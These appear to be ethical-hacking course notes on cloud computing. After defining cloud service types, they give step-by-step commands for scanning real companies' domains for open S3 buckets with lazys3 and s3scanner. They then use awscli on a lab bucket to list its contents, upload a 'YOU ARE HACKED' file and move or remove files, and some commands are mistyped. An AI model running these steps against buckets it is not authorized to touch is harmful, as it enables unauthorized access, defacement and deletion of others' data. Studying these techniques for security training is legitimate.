**Module 19: Cloud Computing**

* **Cloud Computing:**
* Cloud computing is the on-demand availability of computing resources, such as data storage and processing power, accessed over the internet without direct management.
* **Cloud Service:**
* services typically operate on a pay-as-you-go pricing model, allowing users to access and utilize IT resources as needed without requiring physical infrastructure.
* **Types of Cloud Services:**
* The main types of cloud computing services are:

1. **Software as a Service (SaaS):**

This provides software applications over the internet on a subscription basis.

1. **Platform as a Service (PaaS):**

This offers a platform that allows developers to build, deploy, and manage applications without dealing with the underlying infrastructure.

1. **Infrastructure as a Service (IaaS):**

This provides virtualized computing resources over the internet, allowing users to manage and run their own software and applications.

* **Basic Components of Cloud:**
* Compute: For Computing
* Storage: for Storing data
* Network : for managing the internal network of Cloud.
* **For Searching openly available S3 bucket:**

***Tool: lazys3***

**Steps:**

* In kali os, goto browser “github” > search “lazys3” > copy url of lazys3 > git clone the link in terminal > ls > cd > lazys3
* Cmd “ sudo ruby lazys3.rb”
* Cmd” sudo ruby lazys3.rb Hackerone” // for searching specific s3 bucket

***Tool: s3 scanner***

* In kali os, goto terminal > install s3 scanner “ sudo apt install s3 scanner”
* Cmd “sudo s3 scanner -h”
* Cmd “ sudo s3 scanner -bucket hackerlife.com

*// hackerlife.com is bucket name, -bucket is for assigning specific bucket name*

* Cmd “ sudo s3 scanner -bucket reddit.com”

*//reddit.com is a bucket name*

* Check the bucket existence, hosted region and other details.
* **Searching Multiple s3 buckets using s3 scanner:**
* In kali os,goto desktop > create file “sites.txt” > insert (flaws.com, flaws.cloud , lifehacker.com, reddit.com, stack overflow.com, gizmodo.com) > save it
* In kali os, goto terminal > sudo s3 scanner -h
* Run cmd “sudo s3 scanner -bucket-file /home/kali/Desktop/sites.txt “ > check result
* **S3 Bucket Exploiting :**
* S3 Bucket hosted as “ <https://certifiedhacker.s3.amazonaws.com>”

**S3 Bucket Exploiting Steps**:

* Create aws account

( <https://signin.aws.amazon.com/signup?request_type=register> ) and login into it

* Select root user > enter root user email address > go through security check > submit > enter password > enter verification code > login
* In identity and access management, goto security credentials > Access key > Secret key > goto actions > Disable/Delete
* **Accessing S3 Bucket (in kali ):**
* Goto terminal > run cmd “sudo apt install awscli”
* Cmd “sudo aws configure”
* Enter access key > enter secret key > add Region name
* Cmd “ sudo aws S3 ls S3://certified hacker ” // *accessing bucket*
* Cmd ( sudo echo “YOU ARE HACKED” >> hack.txt )
* Ls > cat hack.txt // *reading hack.txt file*
* Copy the link “ <https://certifiedhacker.s3.amazonaws.com>”
* Paste the link in the new tab in the browser and reload it for the result.
* To move file “ aws S3 mv hack.txt S3://certifiedhacker “
* To remove file “ aws S3 rm S3://certified hacker “